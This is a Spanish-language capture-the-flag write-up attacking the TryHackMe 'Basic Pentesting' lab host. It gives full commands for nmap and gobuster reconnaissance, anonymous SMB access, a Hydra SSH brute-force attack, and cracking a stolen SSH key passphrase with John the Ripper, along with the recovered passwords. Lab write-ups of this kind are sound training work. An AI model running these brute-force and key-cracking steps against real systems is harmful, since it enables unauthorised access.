Basic Pentesting

1. Información General

  • Fecha del análisis: 11 de marzo de 2025

  • Host Objetivo: basic.thm (10.10.30.13)

  • Sistema Operativo Detectado: Linux (Ubuntu 16.04.4 LTS) con Samba y Apache Tomcat

  • Metodología Utilizada:

    • Escaneo de puertos con Nmap

    • Enumeración de directorios con Gobuster

    • Acceso a comparticiones SMB

    • Revisión de archivos disponibles

    • Ataque de fuerza bruta a SSH con Hydra

    • Descifrado de clave privada con John the Ripper

    • Autenticación exitosa en el sistema objetivo

    • Obtención de credenciales privilegiadas


2. Descubrimiento y Enumeración

nmap -A -oN basic.txt basic.thm

Escaneo de Servicios (Nmap)

Se detectaron los siguientes servicios en el sistema objetivo:

Puerto

Estado

Servicio

Versión

22/tcp

open

SSH

OpenSSH 7.2p2 Ubuntu 4ubuntu2.4

80/tcp

open

HTTP

Apache httpd 2.4.18 (Ubuntu)

139/tcp

open

NetBIOS-SSN

Samba smbd 3.X - 4.X (WORKGROUP)

445/tcp

open

NetBIOS-SSN

Samba smbd 4.3.11-Ubuntu (WORKGROUP)

8009/tcp

open

AJP13

Apache JServ Protocol 1.3

8080/tcp

open

HTTP Proxy

Apache Tomcat 9.0.7

Posibles vulnerabilidades:

  • Apache Struts 2.5.12: Indicado en archivos internos. Versiones antiguas de Struts son conocidas por vulnerabilidades de ejecución remota de código (RCE) [T1190 - Exploit Public-Facing Application].


3. Enumeración de Directorios Web (Gobuster)

gobuster dir -u http://basic.thm -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 50 
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://basic.thm
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Timeout:                 10s

Se realizó un escaneo de directorios en el servidor web, encontrando:

Directorio

Estado

/development

301 (Redirección)

/server-status

403 (Acceso denegado)

Archivos Encontrados en /development

captura de la ruta development

Se encontraron dos archivos de texto relevantes:

j.txt

For J:

I've been auditing the contents of /etc/shadow to make sure we don't have any weak credentials,
and I was able to crack your hash really easily. You know our password policy, so please follow
it? Change that password ASAP.

-K

dev.txt

2018-04-23: I've been messing with that struts stuff, and it's pretty cool! I think it might be neat
to host that on this server too. Haven't made any real web apps yet, but I have tried that example
you get to show off how it works (and it's the REST version of the example!). Oh, and right now I'm 
using version 2.5.12, because other versions were giving me trouble. -K

2018-04-22: SMB has been configured. -K

2018-04-21: I got Apache set up. Will put in our content later. -J

Posible explotación:

  • j.txt indica que el usuario "J" tiene una contraseña débil en /etc/shadow y que pudo ser crackeada fácilmente. Esto sugiere que podría haber credenciales débiles en el sistema.

  • dev.txt confirma que Apache Struts 2.5.12 está instalado y en uso, lo que representa una vulnerabilidad grave si no está actualizado.


4. Acceso a Comparticiones SMB

 smbclient -L  //10.10.30.13       
Password for [WORKGROUP\kali]:

        Sharename       Type      Comment
        ---------       ----      -------
        Anonymous       Disk      
        IPC$            IPC       IPC Service (Samba Server 4.3.11-Ubuntu)
Reconnecting with SMB1 for workgroup listing.

        Server               Comment
        ---------            -------

        Workgroup            Master
        ---------            -------
        WORKGROUP            BASIC2

Se encontraron las siguientes carpetas compartidas en el servidor SMB:

Recurso

Tipo

Comentario

Anonymous

Disk

Acceso sin autenticación

IPC$

IPC

Servicio de IPC Samba

El acceso anónimo a SMB representa un riesgo de seguridad, ya que permite a cualquier usuario listar y descargar archivos sin autenticación.

Archivos Recuperados

┌──(kali㉿kali)-[~]
└─$ smbclient //10.10.30.13/Anonymous -p 445 -U guest

Password for [WORKGROUP\guest]:
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Thu Apr 19 13:31:20 2018
  ..                                  D        0  Thu Apr 19 13:13:06 2018
  staff.txt                           N      173  Thu Apr 19 13:29:55 2018

                14318640 blocks of size 1024. 11073416 blocks available
smb: \> get staff.txt
getting file \staff.txt of size 173 as staff.txt (0.2 KiloBytes/sec) (average 0.2 KiloBytes/sec)

Se encontró un archivo en la carpeta "Anonymous":

Archivo: staff.txt

Announcement to staff:

PLEASE do not upload non-work-related items to this share. I know it's all in fun, but
this is how mistakes happen. (This means you too, Jan!)

-Kay

Posible explotación:

  • "Kay" parece ser un usuario con permisos administrativos que gestiona SMB.

  • "Jan" podría ser un usuario del sistema con archivos o credenciales mal gestionadas.

  • La nota sugiere que en el pasado se subieron archivos no autorizados, lo que indica la posibilidad de encontrar archivos sensibles o credenciales en esta compartición.


5. Ataque de Fuerza Bruta a SSH

Se realizó un ataque de fuerza bruta con Hydra contra el servicio SSH, resultando en credenciales válidas:

grep -E '^.{7}$' /usr/share/seclists/Passwords/Leaked-Databases/rockyou-75.txt > xato-7.txt

hydra -l jan -P xato-7.txt ssh://10.10.30.13 -t 4 

Usuario

Contraseña Encontrada

jan

armando

Posible explotación:

  • El usuario "jan" tiene una contraseña débil que pudo ser descubierta mediante ataque de fuerza bruta.

  • Esto permite acceso al sistema vía SSH, lo que puede facilitar una escalación de privilegios o movimientos laterales dentro de la red.


6. Análisis de Archivos y Escalación de Privilegios

Se identificaron los siguientes elementos dentro del sistema tras la autenticación vía SSH:

Archivos de Interés

Contenido de /home/Kay/.ssh

Archivo

Descripción

id_rsa

Posible clave privada de Kay.

id_rsa.pub

Clave pública asociada a la privada.

authorized_keys

Define qué claves públicas pueden autenticarse en el sistema.

Errores de permisos en la clave privada

Una vez copiado la clave privada debía restringirse con:

chmod 600 id_rsa.pem

Descifrado de Clave Privada

Se utilizó John the Ripper para descifrar la clave privada con el diccionario rockyou.txt:

python3 /usr/share/john/ssh2john.py id_rsa > rsa_hash.txt
john --wordlist=rockyou.txt rsa_hash.txt

Resultado:

beeswax          (Kay.pem)

Acceso con la Clave Privada Descifrada

Se utilizó la clave privada descifrada para autenticarse como el usuario kay:

ssh -i Kay.pem kay@10.10.225.117

Resultado: Se ingresó la passphrase beeswax, logrando acceso al usuario kay.

Obtención de Credenciales Finales

Dentro del directorio de kay, se encontró un archivo llamado pass.bak:

cat pass.bak

Contenido:

heresareallystrongpasswordthatfollowsthepasswordpolicy$$

7. Análisis MITRE ATT&CK

Táctica

Técnica

Descripción

Reconocimiento

T1046 - Escaneo de Red

Se identificaron servicios con Nmap.

Acceso Inicial

T1110 - Brute Force

Fuerza bruta en SSH con Hydra.

Persistencia

T1552 - Unsecured Credentials

Credenciales débiles encontradas en j.txt.

Escalada de Privilegios

T1078 - Valid Accounts

Uso de credenciales obtenidas para acceder como "kay".

Ejecución

T1190 - Exploit Public-Facing Application

Posible explotación de Apache Struts 2.5.12.

Última actualización